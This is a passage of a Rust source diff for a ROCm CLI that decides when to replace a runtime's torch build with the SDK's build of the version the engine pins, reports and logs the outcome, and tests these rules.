the build that was not installed, `kept` the one still + /// there. Only reachable when those two actually differ, so a runtime the + /// opt-out changed nothing about is never described as one it spared. + Disabled { wanted: String, kept: String }, + /// Nothing to decide — no exact pin, no engine metadata, or no SDK torch. + NotApplicable(String), +} + +/// What the alignment rule concludes, before any of it is acted on. +#[derive(Debug, Clone, PartialEq, Eq)] +enum TorchAlignmentPlan { + AlreadyAligned { version: String }, + Install { wanted: String, from: String }, + NotApplicable(String), +} + +/// The rule itself, kept free of I/O so both field failures can be tested. +/// +/// `wanted` is the engine's pinned *release* carrying the SDK's *build*. +fn plan_torch_alignment( + sdk_build: Option<&str>, + installed_torch: Option<&str>, + engine_requirement: Option<&str>, + engine: &str, +) -> TorchAlignmentPlan { + let Some(sdk_build) = sdk_build else { + return TorchAlignmentPlan::NotApplicable( + "the runtime manifest does not identify the SDK's torch build".to_owned(), + ); + }; + let Some(requirement) = engine_requirement else { + return TorchAlignmentPlan::NotApplicable(format!("{engine} does not pin torch")); + }; + let Some(pinned) = therock::requirement_pinned_version(requirement) else { + return TorchAlignmentPlan::NotApplicable(format!( + "{engine} does not pin torch to an exact version ({requirement})" + )); + }; + let wanted = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); + let installed = installed_torch.unwrap_or_default().to_owned(); + if installed == wanted { + TorchAlignmentPlan::AlreadyAligned { version: wanted } + } else { + TorchAlignmentPlan::Install { + wanted, + from: installed, + } + } +} + +/// Whether a failed install means the resolver could not find that version. +/// +/// Deliberately narrow. Anything unmatched is reported as a plain failure with +/// its error, so an unrecognised message degrades to the honest answer rather +/// than to a confident wrong one. +fn install_error_reports_version_unavailable(error: &str) -> bool { + let error = error.to_ascii_lowercase(); + error.contains("no solution found") + || error.contains("were found for") + || error.contains("not found in the package registry") + || error.contains("has no version") +} + +/// Whether the user has opted out of realigning torch. +/// +/// The alignment rewrites a package the user may have installed deliberately, and +/// it runs on every path that installs an engine, so a hand-installed torch is +/// otherwise replaced again by the next `engines install`, `install sdk`, or +/// `engines shell`. The stack this resolves to — the SDK's build of the release +/// the engine pins — is not validated against the supported matrix, so "the SDK's +/// build does not work on this machine" is a case that can happen rather than a +/// hypothetical one, and it needs an exit that is not "stop using the CLI". +/// +/// The engine reads the same variable through the same helper, so the two sides +/// cannot drift; [`rocm_core::torch_alignment_disabled`] carries why that matters. +/// Suppressing the correction does not suppress the diagnosis: a runtime that +/// opens no device or cannot run a kernel on one is still reported as such — and +/// still fails the install on a host where a GPU was found. +fn torch_alignment_disabled() -> bool { + rocm_core::torch_alignment_disabled() +} + +/// Install the SDK's build of the release the engine pins, when that is needed. +/// +/// `torch` is the metadata probe the caller already took: the retention decision +/// that runs first needs the engine's pin too, and asking the runtime the same +/// question twice would be a second interpreter launch for an answer in hand. +/// +/// The opt-out is read where the install would run, not at the top. That is the +/// only place it changes anything, and reading it there is what lets the result +/// name the replacement it declined to make: a runtime with no replacement due +/// reports what it is, rather than reporting an opt-out that skipped nothing. +fn align_runtime_torch( + paths: &AppPaths, + python: &Path, + index_url: Option<&str>, + sdk_build: Option<&str>, + engine: &str, + torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, +) -> TorchAlignment { + let probe = match torch { + Ok(probe) => probe, + Err(error) => return TorchAlignment::NotApplicable(error.to_string()), + }; + let plan = plan_torch_alignment( + sdk_build, + probe.installed_torch.as_deref(), + probe.engine_requires_torch.as_deref(), + engine, + ); + let (wanted, from) = match plan { + TorchAlignmentPlan::AlreadyAligned { version } => { + return TorchAlignment::AlreadyAligned { version }; + } + TorchAlignmentPlan::NotApplicable(reason) => { + return TorchAlignment::NotApplicable(reason); + } + TorchAlignmentPlan::Install { wanted, from } => (wanted, from), + }; + // Read only now that a replacement is actually due, so the opt-out reports + // the install it stopped rather than standing in for a runtime that needed + // nothing. Everything after this point is the rewrite itself. + if torch_alignment_disabled() { + return TorchAlignment::Disabled { wanted, kept: from }; + } + let Some(index_url) = index_url else { + return TorchAlignment::NotApplicable( + "the runtime manifest records no wheel index to install from".to_owned(), + ); + }; + match therock::install_pinned_package( + paths, + python, + index_url, + "torch", + &format!("torch=={wanted}"), + ) { + Ok(()) => TorchAlignment::Realigned { from, to: wanted }, + // The SDK index may not publish this release at all. That is a real + // possibility, not an error to abort on: the engine's own build is left + // in place and the device check that follows reports whether it works. + Err(error) => { + let error = format!("{error:#}"); + if install_error_reports_version_unavailable(&error) { + TorchAlignment::Unavailable { wanted, kept: from } + } else { + TorchAlignment::InstallFailed { + wanted, + kept: from, + error, + } + } + } + } +} + +/// Render one alignment outcome as the `torch_alignment:` check block. +/// +/// `engine` names the engine whose pin decided the release, so the realigned line +/// reads `... the release vllm pins` rather than an anonymous "the engine". It +/// arrives from the engine selection and is sanitized like every other +/// interpolated value. +/// +/// `before` is the verdict the runtime gave *prior* to the realignment. Only the +/// realigned outcome replaced anything, so only that arm prints it — and it must, +/// because the `device_check:` block further down reports the runtime as it is +/// now. Without the before verdict beside it, a realignment that ends in a +/// failing runtime does not say whether the alignment broke something that +/// worked or found something already broken, and answering that afterwards means +/// going to the machine to look. The value is already in hand at the call site; +/// dropping it only moves the cost onto whoever reads the output. +fn render_torch_alignment( + outcome: &TorchAlignment, + engine: &str, + before: Option<&RuntimeDeviceCheck>, +) -> String { + let mut output = String::new(); + match outcome { + TorchAlignment::AlreadyAligned { version } => { + let _ = writeln!( + output, + " torch_alignment: already_aligned ({})", + sanitize_log_value(version) + ); + } + TorchAlignment::Realigned { from, to } => { + let _ = writeln!(output, " torch_alignment: realigned"); + let _ = writeln!( + output, + " {} -> {} (the SDK's build of the release {} pins)", + sanitize_log_value(from), + sanitize_log_value(to), + sanitize_log_value(engine) + ); + if let Some(before) = before { + let _ = writeln!( + output, + " before this replacement: {} (device_check below is after it)", + sanitize_log_value(&device_check_verdict(before)) + ); + } + } + TorchAlignment::Unavailable { wanted, kept } => { + let _ = writeln!(output, " torch_alignment: unavailable"); + let _ = writeln!( + output, + " the SDK index publishes no {}; keeping {}", + sanitize_log_value(wanted), + sanitize_log_value(kept) + ); + } + TorchAlignment::InstallFailed { + wanted, + kept, + error, + } => { + let _ = writeln!(output, " torch_alignment: install_failed"); + let _ = writeln!( + output, + " could not install {}: {}", + sanitize_log_value(wanted), + sanitize_log_value(error) + ); + let _ = writeln!(output, " keeping {}", sanitize_log_value(kept)); + } + TorchAlignment::Disabled { wanted, kept } => { + let _ = writeln!(output, " torch_alignment: disabled"); + let _ = writeln!( + output, + " ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping {} rather than installing {}", + sanitize_log_value(kept), + sanitize_log_value(wanted) + ); + } + TorchAlignment::NotApplicable(reason) => { + let _ = writeln!( + output, + " torch_alignment: not_applicable ({})", + sanitize_log_value(reason) + ); + } + } + output +} + +/// Repair the runtime's torch, print the `torch_alignment:` block, and record it. +/// +/// Reached only when no torch in the runtime has proven it can run a GPU kernel. +/// The outcome is returned so the dependency check that follows can be read +/// against it: `deliberately_diverged_package` turns it into the one package +/// whose divergence is intended. +pub(super) fn report_torch_alignment( + paths: &AppPaths, + engine: &str, + python: &Path, + runtime_key: &str, + sdk_build: Option<&str>, + torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, + before: &RuntimeDeviceCheck, +) -> TorchAlignment { + let index_url = runtime_index_url_for_key(paths, runtime_key); + let outcome = align_runtime_torch( + paths, + python, + index_url.as_deref(), + sdk_build, + engine, + torch, + ); + print!("{}", render_torch_alignment(&outcome, engine, Some(before))); + let (level, message) = match &outcome { + TorchAlignment::AlreadyAligned { version } => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=already_aligned version={version}" + ), + ), + // The before verdict rides along in the audit line too: the log is read + // long after the install, when the runtime on disk can no longer answer + // what it was like beforehand. + TorchAlignment::Realigned { from, to } => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=realigned from={from} to={to} before={}", + device_check_verdict(before) + ), + ), + TorchAlignment::Unavailable { wanted, kept } => ( + "error", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=unavailable wanted={wanted} kept={kept}" + ), + ), + TorchAlignment::InstallFailed { + wanted, + kept, + error, + } => ( + "error", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=install_failed wanted={wanted} kept={kept}: {error}" + ), + ), + // The user's own decision, carried out as asked, so it is not an error. + // The device check that follows is what says whether the torch they kept + // works, and that verdict is recorded — and enforced — on its own. + TorchAlignment::Disabled { wanted, kept } => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=disabled kept={kept} wanted={wanted}" + ), + ), + TorchAlignment::NotApplicable(reason) => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=not_applicable: {reason}" + ), + ), + }; + record_cli_audit_event(paths, "engine", "torch_alignment", level, message, None); + outcome +} + +/// The package the runtime now deliberately diverges on, if any, so the +/// dependency check can tell that divergence apart from a real violation. +/// +/// Both `Realigned` and `AlreadyAligned` diverge from the engine's exact pin — +/// the second is a rerun over a runtime already put right, which is the normal +/// state on every refresh after the first. +/// +/// `Disabled` counts for the same reason, from the other direction: the torch +/// that does not satisfy the pin is the one the user told us to leave alone, so +/// reporting it as a violation would answer their instruction with an error and +/// a `--reinstall` remedy that would undo it. It is only ever constructed over a +/// real mismatch, so this never suppresses a divergence that is not there. +/// +/// `Unavailable` and `InstallFailed` stay excluded. Nothing was replaced there +/// either, but nothing was intended either — the repair was attempted and did +/// not happen — so whatever the dependency check finds is a real finding. +pub(super) const fn deliberately_diverged_package( + outcome: &TorchAlignment, +) -> Option<&'static str> { + match outcome { + TorchAlignment::Realigned { .. } + | TorchAlignment::AlreadyAligned { .. } + | TorchAlignment::Disabled { .. } => Some("torch"), + TorchAlignment::Unavailable { .. } + | TorchAlignment::InstallFailed { .. } + | TorchAlignment::NotApplicable(_) => None, + } +} + +/// The build identifier of the torch that belongs to this runtime's SDK. +/// +/// Taken from the manifest, never from whatever torch happens to be installed. +/// The environment tells you what is there now, which after an engine install is +/// the engine's build — trusting that would let a runtime already holding the +/// wrong torch declare itself correct and never recover. +/// +/// Older manifests predate the recorded value, so fall back to deriving it from +/// the SDK version, which is how TheRock names these builds. +pub(super) fn sdk_torch_build_for_key(paths: &AppPaths, runtime_key: &str) -> Option { + let manifests = therock::load_runtime_manifests(paths).ok()?; + let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; + sdk_torch_build_from_manifest(manifest) +} + +/// The build identifier one manifest names, with the fallback for older manifests. +/// +/// Split out from the lookup so the decision can be tested without a registry on +/// disk: the lookup is a directory scan, but this is the part that has to be right +/// for a runtime already stuck on the engine's build to recover. +fn sdk_torch_build_from_manifest(manifest: &therock::InstalledRuntimeManifest) -> Option { + if let Some(recorded) = manifest.sdk_torch.as_deref() + && let Some(build) = therock::split_local_version(recorded).1 + { + return Some(build.to_owned()); + } + let version = manifest + .rocm_sdk + .as_ref() + .and_then(|probe| probe.rocm_sdk_version.clone()) + .unwrap_or_else(|| manifest.version.clone()); + (!version.trim().is_empty()).then(|| format!("rocm{version}")) +} + +/// Which torch a runtime keeps once one of them has run a GPU kernel. +/// +/// Exactly two builds are allowed to stand: the engine's own exact pin, and the +/// SDK's build of the release it pins. Both are states this tool produces on +/// purpose, and each is a fixed point — a rerun over either one keeps it and +/// installs nothing, which is what stops `--reinstall` from oscillating between +/// the two package sources. Anything else is repaired by `TorchAlignment`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(super) enum TorchRetention { + /// The engine's exact pin ran a kernel. It satisfies the pin, so it diverges + /// from nothing and the dependency check is read straight. + EngineBuild { version: String }, + /// The SDK's build of the pinned release ran. The engine's pin stays + /// deliberately unsatisfied, which the dependency check is told to expect. + SdkBuild { version: String }, + /// Nothing here has been shown to work: align, then look again. + Realign, +} + +/// Decide retention from the torch that actually executed a kernel. +/// +/// The version compared is the one the running interpreter reported, not the one +/// distribution metadata claims: the build that ran is the build being kept. The +/// engine's pin is checked first, so a pin that already names the SDK's build is +/// reported as satisfied rather than as an intended divergence from itself. +pub(super) fn classify_retained_torch( + sdk_build: Option<&str>, + devices: &RuntimeDeviceCheck, + engine_requirement: Option<&str>, +) -> TorchRetention { + // Only a kernel that ran earns retention. Every other verdict — no devices, + // a failed launch, or no answer at all — goes to the repair path, which is + // also what this tool did before it could tell those apart. + let RuntimeDeviceCheck::Usable { torch_version, .. } = devices else { + return TorchRetention::Realign; + }; + let Some(pinned) = engine_requirement.and_then(therock::requirement_pinned_version) else { + return TorchRetention::Realign; + }; + if torch_version.as_str() == pinned { + return TorchRetention::EngineBuild { + version: torch_version.clone(), + }; + } + let Some(sdk_build) = sdk_build else { + return TorchRetention::Realign; + }; + // The same version `plan_torch_alignment` would install, so the state that + // repair produces is the state recognised here on the next run. + let sdk_torch = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); + if torch_version.as_str() == sdk_torch { + return TorchRetention::SdkBuild { + version: torch_version.clone(), + }; + } + TorchRetention::Realign +} + +/// The package a retained torch deliberately diverges on, if any. +/// +/// The SDK's build does not satisfy the engine's exact pin and is kept anyway; +/// the engine's own build satisfies it, so claiming a divergence there would +/// suppress a violation that has not happened. +pub(super) const fn retained_diverged_package(retention: &TorchRetention) -> Option<&'static str> { + match retention { + TorchRetention::SdkBuild { .. } => Some("torch"), + TorchRetention::EngineBuild { .. } | TorchRetention::Realign => None, + } +} + +/// Render a retention as the `torch_alignment:` block, in place of an alignment. +/// +/// `Realign` renders nothing: nothing was retained, and `render_torch_alignment` +/// prints the block for the repair that runs instead. +fn render_torch_retention(retention: &TorchRetention, engine: &str) -> String { + let mut output = String::new(); + match retention { + TorchRetention::EngineBuild { version } => { + let _ = writeln!( + output, + " torch_alignment: retained_engine_build ({})", + sanitize_log_value(version) + ); + let _ = writeln!( + output, + " the torch {} pins ran a GPU kernel with this SDK", + sanitize_log_value(engine) + ); + } + TorchRetention::SdkBuild { version } => { + let _ = writeln!( + output, + " torch_alignment: retained_sdk_build ({})", + sanitize_log_value(version) + ); + let _ = writeln!( + output, + " the SDK's build of the release {} pins ran a GPU kernel", + sanitize_log_value(engine) + ); + } + TorchRetention::Realign => {} + } + output +} + +/// Print the retention block and record it. `Realign` records nothing. +pub(super) fn report_torch_retention( + paths: &AppPaths, + engine: &str, + runtime_key: &str, + retention: &TorchRetention, +) { + print!("{}", render_torch_retention(retention, engine)); + let (state, version) = match retention { + TorchRetention::EngineBuild { version } => ("retained_engine_build", version), + TorchRetention::SdkBuild { version } => ("retained_sdk_build", version), + TorchRetention::Realign => return, + }; + record_cli_audit_event( + paths, + "engine", + "torch_alignment", + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment={state} version={version}" + ), + None, + ); +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::runtime_install_finalize::{ + EngineDependencyCheck, classify_dependency_details, render_engine_dependency_check, + }; + use crate::tests::{ScopedTestEnv, test_app_paths, test_runtime_manifest_for_update}; + + /// The engine's build enumerates no devices against the installed SDK. + /// + /// Observed on MI300X: the engine pins a torch built for a different ROCm + /// version, installs it over the SDK's, and the runtime then reports zero + /// devices. The release is right; only the build is wrong. + #[test] + fn the_engines_build_is_replaced_by_the_sdk_build_of_the_same_release() { + let plan = plan_torch_alignment( + Some("rocm7.13.0"), + Some("2.11.0+gitd0c8b1f"), + Some("torch==2.11.0+gitd0c8b1f"), + "vllm", + ); + + assert_eq!( + plan, + TorchAlignmentPlan::Install { + wanted: "2.11.0+rocm7.13.0".to_owned(), + from: "2.11.0+gitd0c8b1f".to_owned(), + } + ); + } + + /// The SDK picked a torch *release* the engine does not accept. + /// + /// The mirror-image failure: here the SDK's own choice is the wrong one, and + /// simply keeping it would break the engine. The rule takes the release the + /// engine pins while still keeping the SDK's build of it — so neither the + /// engine's build nor the SDK's release selection wins outright. + #[test] + fn the_sdks_release_is_corrected_to_the_one_the_engine_pins() { + // The installed torch already carries the SDK's build, so the build is not + // what is wrong here — the release is. Pinning it needs the two sides to + // disagree on the release and agree on the build, which is the opposite of + // the case above; identical arguments to it would only restate that one. + let plan = plan_torch_alignment( + Some("rocm7.14.0a20260611"), + Some("2.11.0+rocm7.14.0a20260611"), + Some("torch==2.10.0+git8514f05"), + "vllm", + ); + + assert_eq!( + plan, + TorchAlignmentPlan::Install { + wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), + from: "2.11.0+rocm7.14.0a20260611".to_owned(), + }, + "the engine's release must win while the SDK's build is kept" + ); + } + + /// The engine's own pin runs: keep it, and claim no divergence from it. + #[test] + fn a_working_engine_torch_is_kept_instead_of_realigned() { + let retention = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + + assert_eq!( + retention, + TorchRetention::EngineBuild { + version: "2.11.0+gitd0c8b1f".to_owned(), + } + ); + assert_eq!(retained_diverged_package(&retention), None); + let rendered = render_torch_retention(&retention, "vllm"); + assert!( + rendered.contains(" torch_alignment: retained_engine_build (2.11.0+gitd0c8b1f)\n") + ); + assert!(rendered.contains("ran a GPU kernel with this SDK")); + } + + /// The SDK's build of the pinned release runs: keep it, and expect the pin to + /// stay unsatisfied so the dependency check does not report it as a violation. + #[test] + fn a_working_sdk_torch_is_kept_as_an_intended_divergence() { + let retention = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 8, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + + assert_eq!( + retention, + TorchRetention::SdkBuild { + version: "2.11.0+rocm7.13.0".to_owned(), + } + ); + assert_eq!(retained_diverged_package(&retention), Some("torch")); + let rendered = render_torch_retention(&retention, "vllm"); + assert!(rendered.contains(" torch_alignment: retained_sdk_build (2.11.0+rocm7.13.0)\n")); + assert!(rendered.contains("the SDK's build of the release vllm pins ran a GPU kernel")); + } + + /// Both intended builds are fixed points, so a repeated install settles rather + /// than swapping torch back and forth between the two package sources. + #[test] + fn repairing_a_runtime_converges_on_one_of_the_two_intended_builds() { + let after_engine_install = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + // What the realignment installs, seen on the next run over the same runtime. + let after_realignment = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + + assert!(!matches!(after_engine_install, TorchRetention::Realign)); + assert!(!matches!(after_realignment, TorchRetention::Realign)); + } + + /// A pin that already names the SDK's build satisfies itself. Calling that an + /// intended divergence would suppress a violation that has not happened. + #[test] + fn a_pin_that_already_names_the_sdk_build_diverges_from_nothing() { + let retention = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }, + Some("torch==2.11.0+rocm7.13.0"), + ); + + assert_eq!( + retention, + TorchRetention::EngineBuild { + version: "2.11.0+rocm7.13.0".to_owned(), + } + ); + assert_eq!(retained_diverged_package(&retention), None); + } + + /// Everything that has not been shown to work goes to the repair path — which + /// is what this tool did unconditionally before it could test a kernel. + #[test] + fn a_torch_that_has_not_been_shown_to_work_is_realigned() { + let usable = |version: &str| RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: version.to_owned(), + }; + let pin = Some("torch==2.11.0+gitd0c8b1f"); + + // A third build nobody here installed on purpose. + assert_eq!( + classify_retained_torch(Some("rocm7.13.0"), &usable("2.9.0+cpu"), pin), + TorchRetention::Realign + ); + // No devices at all, whatever build it is. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::NoDevices { + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + hip_version: "7.13.0".to_owned(), + }, + pin + ), + TorchRetention::Realign + ); + // A device that cannot run a kernel is never retained, not even when it + // holds exactly the build the engine pins. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::KernelFailed { + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + error: "device kernel image is invalid".to_owned(), + }, + pin + ), + TorchRetention::Realign + ); + // No answer is not an answer. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::NotVerified("torch did not import".to_owned()), + pin + ), + TorchRetention::Realign + ); + // Nothing pins torch, so there is no release to hold either build of. + assert_eq!( + classify_retained_torch(Some("rocm7.13.0"), &usable("2.11.0+gitd0c8b1f"), None), + TorchRetention::Realign + ); + // A range is not an exact pin, so it cannot identify the engine's build. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &usable("2.11.0+gitd0c8b1f"), + Some("torch>=2.10") + ), + TorchRetention::Realign + ); + // The manifest does not say what the SDK's build is, so a torch that is + // not the engine's pin cannot be recognised as the other intended one. + assert_eq!( + classify_retained_torch(None, &usable("2.11.0+rocm7.13.0"), pin), + TorchRetention::Realign + ); + // Nothing is retained, so nothing is reported in place of the repair. + assert!(render_torch_retention(&TorchRetention::Realign, "vllm").is_empty()); + assert_eq!(retained_diverged_package(&TorchRetention::Realign), None); + } + + #[test] + fn an_install_failure_is_not_reported_as_a_missing_wheel() { + // Saying "the index publishes no such build" over a network or disk error + // sends the reader hunting for a wheel that exists. Anything the resolver + // did not actually attribute to a missing version degrades to the honest + // answer: the failure, verbatim. + assert!(!install_error_reports_version_unavailable( + "failed to launch uv: Permission denied" + )); + assert!(!install_error_reports_version_unavailable( + "error sending request: dns error: failed to lookup address" + )); + assert!(install_error_reports_version_unavailable( + "No solution found when resolving: torch==2.10.0+rocm7.14.0a20260611" + )); + } + + #[test] + fn an_unresolvable_version_still_reads_as_unavailable() { + let rendered = render_torch_alignment( + &TorchAlignment::Unavailable { + wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), + kept: "2.10.0+git8514f05".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: unavailable\n")); + assert!(rendered.contains("publishes no 2.10.0+rocm7.14.0a20260611")); + } + + #[test] + fn a_failed_realignment_reports_the_error_it_actually_hit() { + let rendered = render_torch_alignment( + &TorchAlignment::InstallFailed { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.11.0+gitd0c8b1f".to_owned(), + error: "failed to launch uv: Permission denied".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: install_failed\n")); + assert!(rendered.contains("Permission denied")); + assert!( + !rendered.contains("publishes no"), + "an install failure must not be described as a missing wheel: {rendered}" + ); + } + + #[test] + fn a_realigned_runtime_names_both_builds_and_the_engine_that_decided_the_release() { + // The line a successful run actually prints, and the one a user reads when + // deciding whether the divergence reported just below it is expected. + let rendered = render_torch_alignment( + &TorchAlignment::Realigned { + from: "2.11.0+gitd0c8b1f".to_owned(), + to: "2.11.0+rocm7.13.0".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: realigned\n")); + assert!(rendered.contains("2.11.0+gitd0c8b1f -> 2.11.0+rocm7.13.0")); + assert!( + rendered.contains("the release vllm pins"), + "the engine that pinned the release is named rather than left anonymous: {rendered}" + ); + } + + #[test] + fn a_realignment_reports_what_the_runtime_could_do_before_it() { + // The whole point of the line: the device_check printed afterwards is the + // after state, so without this one a realignment that ends badly does not + // say whether it broke a working runtime or repaired a broken one. Here it + // repaired one, and the output says so without anyone visiting the machine. + let rendered = render_torch_alignment( + &TorchAlignment::Realigned { + from: "2.11.0+rocm7.14.0".to_owned(), + to: "2.11.0+rocm7.13.0".to_owned(), + }, + "vllm", + Some(&RuntimeDeviceCheck::KernelFailed { + torch_version: "2.11.0+rocm7.14.0".to_owned(), + error: "HIP error: hipErrorInvalidImage".to_owned(), + }), + ); + + assert!( + rendered.contains("before this replacement: kernel_failed (torch 2.11.0+rocm7.14.0)"), + "the before verdict names itself and the torch it judged: {rendered}" + ); + assert!( + rendered.contains("device_check below is after it"), + "the reader is told which of the two blocks is which: {rendered}" + ); + } + + #[test] + fn only_a_realignment_reports_a_before_verdict() { + // Every other outcome left the runtime as it was, so the device_check + // below is already about the same torch this block names. A before/after + // pair there would invite reading a change into an outcome that made none. + let before = RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }; + + for outcome in [ + TorchAlignment::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned(), + }, + TorchAlignment::Disabled { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.9.0+cpu".to_owned(), + }, + TorchAlignment::Unavailable { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.11.0+gitd0c8b1f".to_owned(), + }, + ] { + let rendered = render_torch_alignment(&outcome, "vllm", Some(&before)); + assert!( + !rendered.contains("before this replacement"), + "{outcome:?} replaced nothing: {rendered}" + ); + } + } + + #[test] + fn an_already_aligned_runtime_reports_the_version_it_kept() { + // Every refresh after the first lands here, so this is the most frequently + // printed of the five outcomes. + let rendered = render_torch_alignment( + &TorchAlignment::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: already_aligned (2.11.0+rocm7.13.0)\n")); + } + + #[test] + fn an_already_correct_runtime_is_left_alone() { + let plan = plan_torch_alignment( + Some("rocm7.13.0"), + Some("2.11.0+rocm7.13.0"), + Some("torch==2.11.0+gitd0c8b1f"), + "vllm", + ); + + assert_eq!( + plan, + TorchAlignmentPlan::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned() + } + ); + } + + #[test] + fn a_loose_torch_requirement_is_not_second_guessed() { + // Without an exact pin there is no release to carry over, so the engine's + // resolution stands rather than being overridden on a guess. + let plan = plan_torch_alignment( + Some("rocm7.13.0"), + Some("2.11.0+gitd0c8b1f"), + Some("torch>=2.10"), + "vllm", + ); + + assert!( + matches!(plan, TorchAlignmentPlan::NotApplicable(reason) if reason.contains("exact")), + "a non-pinned requirement must be left alone" + ); + } + + #[test] + fn an_unidentified_sdk_build_is_not_acted_on() { + // Nothing to carry over, so guessing a build would be worse than doing + // nothing and letting the device check report the result. + let plan = plan_torch_alignment( + None, + Some("2.11.0+gitd0c8b1f"), + Some("torch==2.11.0+gitd0c8b1f"), + "vllm", + ); + + assert!(matches!(plan, TorchAlignmentPlan::NotApplicable(_))); + } + + /// The build comes from the manifest, not from whatever torch is installed. + /// + /// This is what makes a runtime already overwritten by the engine recoverable: + /// reading the environment would call the engine's build the SDK's and leave the + /// runtime broken for good. `plan_torch_alignment` takes the build as an opaque + /// argument, so the property lives here, in the lookup that produces it. + #[test] + fn the_sdk_build_is_read_from_the_manifest_not_the_environment() { + let mut manifest = + test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); + manifest.sdk_torch = Some("2.11.0+rocm7.13.0".to_owned()); + + assert_eq!( + sdk_torch_build_from_manifest(&manifest).as_deref(), + Some("rocm7.13.0"), + "the recorded SDK torch names the build" + ); + } + + /// Manifests written before `sdk_torch` existed still have to yield a build. + /// + /// These are the runtimes already on real machines, so this fallback is the + /// repair path rather than a nicety. TheRock names the build `rocm`. + #[test] + fn a_manifest_without_a_recorded_torch_derives_the_build_from_the_sdk_version() { + let manifest = + test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); + assert!( + manifest.sdk_torch.is_none(), + "this test is about the pre-change manifest shape" + ); + + assert_eq!( + sdk_torch_build_from_manifest(&manifest).as_deref(), + Some("rocm7.13.0") + ); + } + + /// A dated alpha carries its date into the build, and must not be trimmed. + /// + /// Nightly SDKs version as `7.14.0a20260812`, and TheRock's torch for one is + /// `+rocm7.14.0a20260812` — the date is part of the build, not decoration on + /// the version. Shortening it to the `7.14.0` release would name a build that + /// exists for a different SDK, so the alignment would install a torch built + /// against libraries the runtime does not have. The fallback is a whole-string + /// interpolation today; this pins that, because the tempting "clean up the + /// version first" refactor is the one that breaks every nightly runtime. + #[test] + fn a_dated_alpha_sdk_keeps_its_date_in_the_derived_build() { + let manifest = test_runtime_manifest_for_update( + "wheel-gfx94x", + "gfx94x", + "gfx94x-dcgpu", + "7.14.0a20260812", + ); + assert!( + manifest.sdk_torch.is_none(), + "this test is about the pre-change manifest shape" + ); + + assert_eq!( + sdk_torch_build_from_manifest(&manifest).as_deref(), + Some("rocm7.14.0a20260812") + ); + } + + /// A manifest that names no version at all must not invent a build. + #[test] + fn a_manifest_with_no_version_identifies_no_build() { + let mut manifest = + test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", " "); + manifest.sdk_torch = None; + + assert_eq!(sdk_torch_build_from_manifest(&manifest), None); + } + + /// A torch the user installed themselves is kept, and named as kept. + /// + /// The Python does not exist and an index is supplied, so an alignment that + /// still ran would reach the install and come back `InstallFailed`. Getting + /// the divergence described instead — the build that was not installed, and + /// the one still there — is what shows the rewrite was skipped rather than + /// attempted and then reported differently. + #[test] + fn disabling_alignment_keeps_the_installed_torch_and_says_what_it_declined() { + let mut env = ScopedTestEnv::new(); + env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); + let probe = therock::TorchAlignmentProbe { + installed_torch: Some("2.9.0+cpu".to_owned()), + engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), + }; + + let outcome = align_runtime_torch( + &test_app_paths(), + Path::new("/nonexistent/python"), + Some("https://example.invalid/simple"), + 